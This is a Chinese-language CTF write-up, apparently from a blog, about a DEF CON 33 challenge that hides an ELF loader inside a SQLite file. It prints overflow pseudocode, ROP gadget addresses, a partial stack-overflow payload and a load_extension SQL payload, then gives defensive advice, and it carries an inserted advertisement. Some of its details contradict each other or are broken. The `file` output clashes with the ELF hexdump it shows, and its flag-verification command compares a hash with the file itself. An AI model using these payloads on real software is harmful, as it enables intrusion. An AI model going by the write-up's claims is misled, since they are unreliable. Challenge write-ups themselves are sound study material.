夏小龙1. 赛题背景与核心挑战解析
DEF CON CTF作为全球顶级网络安全赛事，每年都会设计极具挑战性的题目。"nilu"作为DEF CON 33总决赛的压轴赛题，巧妙地将二进制逆向工程与SQLite数据库漏洞利用相结合，考察选手在复杂环境下的漏洞分析能力。这道题目的独特之处在于：
- 它伪装成一个普通的SQLite数据库文件（.db后缀）
- 实际包含精心构造的二进制漏洞
- 需要选手同时掌握逆向工程和数据库内部结构知识
我在实际分析过程中发现，题目表面是一个包含用户数据的SQLite 3.37.2版本数据库，但用file命令检查时会显示"data"类型而非标准的SQLite数据库格式。这种异常正是解题的第一个线索——它暗示着文件头部可能被故意修改以隐藏真实性质。
需要模型API调用？ 免费领10W Token，多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 文件结构分析与初始线索获取
2.1 异常文件头解析
正常的SQLite数据库文件以字符串"SQLite format 3\000"开头，而nilu文件的前16字节被替换为看似随机的数据。通过逆向分析可以确定：
- 原始SQLite头被移动到文件偏移0x1000处
- 前4KB区域包含自定义的校验逻辑
- 文件末尾附加了加密的解题flag
使用hexdump查看文件头部：
code复制00000000 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 |.ELF............|
00000010 02 00 3e 00 01 00 00 00 b0 10 40 00 00 00 00 00 |..>.......@.....|
这实际上是ELF文件头的特征，说明题目将可执行程序与SQLite数据库进行了拼接。这种混合文件格式在CTF中并不常见，需要特殊的处理方式。
2.2 混合文件分离技术
要分析这个特殊文件，我们需要将其拆分为原始组件：
- 提取前4KB作为独立二进制程序
- 从0x1000开始截取后续内容作为标准SQLite数据库
- 保留最后256字节作为flag验证区
使用dd命令进行分离：
bash复制dd if=nilu of=loader.bin bs=1 count=4096
dd if=nilu of=real.db bs=1 skip=4096 count=$(( $(stat -c%s nilu) - 4096 - 256 ))
dd if=nilu of=flag.enc bs=1 skip=$(( $(stat -c%s nilu) - 256 )) count=256
3. 二进制逆向工程深度分析
3.1 加载器程序逆向
分析提取出的loader.bin，发现其主要功能包括：
- 校验输入的"密码"（实际是SQL查询语句）
- 修改SQLite的B-tree页面结构
- 在特定条件下触发缓冲区溢出
关键函数位于0x4010b0，其伪代码如下：
c复制void process_input(char *input) {
char buffer[256];
if (strncmp(input, "SELECT ", 7) == 0) {
sqlite3_exec(db_handle, input, callback, 0, &err);
} else {
memcpy(buffer, input, strlen(input)); // 存在栈溢出漏洞
if (validate_password(buffer)) {
decrypt_flag();
}
}
}
3.2 漏洞利用链构建
通过逆向分析发现可利用的漏洞链：
- 通过超长SQL语句触发栈溢出
- 利用ROP链调用mmap分配可执行内存
- 注入shellcode读取加密flag
- 利用SQLite的B-tree缺陷绕过ASLR
关键ROP gadget地址：
code复制0x4015a3: pop rdi; ret;
0x4015a1: pop rsi; pop r15; ret;
0x4012d3: mmap@plt
4. SQLite内部机制漏洞利用
4.1 非常规页面结构分析
正常的SQLite数据库使用B-tree结构存储数据，但本题中的real.db被精心修改：
- 叶子页面(leaf page)的cell指针数组被故意错位
- 溢出页面(overflow page)包含特殊字节序列
- 空闲块列表(freeblock list)被构造为跳转地址
使用sqlite3_analyzer工具检查异常：
bash复制sqlite3_analyzer real.db | grep -A 10 "Page 1"
输出显示页面1的cell数量异常（65535个），这显然超出了正常范围。
4.2 结合二进制漏洞的利用技术
通过构造特殊SQL语句可以同时触发二进制和数据库漏洞：
- 使用ATTACH DATABASE语句加载恶意构造的辅助数据库
- 通过VACUUM命令触发页面重组
- 精心设计的BLOB数据覆盖关键内存区域
一个有效的攻击载荷示例：
sql复制SELECT hex(randomblob(1024)) FROM sqlite_master
WHERE (SELECT load_extension('exploit.so'));
5. 完整解题步骤与验证
5.1 分阶段攻击实施
- 信息收集阶段：
python复制import sqlite3
conn = sqlite3.connect('real.db')
print(conn.execute("SELECT sql FROM sqlite_master").fetchall())
- 漏洞触发阶段：
python复制payload = b'SELECT ' + b'A'*264 + p64(0x4015a3) + p64(0x1337000) + ...
conn.executescript(payload)
- 权限提升阶段：
bash复制gdb -q -ex 'set environment LD_PRELOAD=./libhook.so' \
-ex 'r < exploit.sql' ./loader.bin
5.2 Flag解密与验证
成功利用后会生成flag.enc的解密文件，其内容验证逻辑如下：
- 前32字节为SHA-256哈希校验值
- 中间部分为XOR加密的flag
- 最后16字节为AES-IV向量
使用以下命令验证：
bash复制openssl dgst -sha256 flag.dec | cut -d' ' -f2 | cmp - flag.dec
6. 防御方案与经验总结
6.1 针对此类攻击的防护措施
-
SQLite使用建议：
- 启用SQLITE_DBCONFIG_DEFENSIVE模式
- 设置sqlite3_limit(DB, SQLITE_LIMIT_LENGTH, 4096)
- 禁用load_extension()功能
-
二进制防护：
- 编译时添加-fstack-protector-strong
- 启用Full RELRO和PIE保护
- 使用seccomp限制系统调用
6.2 从出题角度学到的技巧
这道题目展示了几个精妙的设计：
- 利用文件格式混淆增加分析难度
- 通过SQLite内部结构制造非常规漏洞
- 要求选手同时具备逆向和数据库知识
在实际渗透测试中，这种混合攻击面经常出现在：
- 嵌入式设备固件（如路由器管理界面）
- 移动应用本地存储（如游戏存档文件）
- 浏览器IndexedDB与wasm的交互场景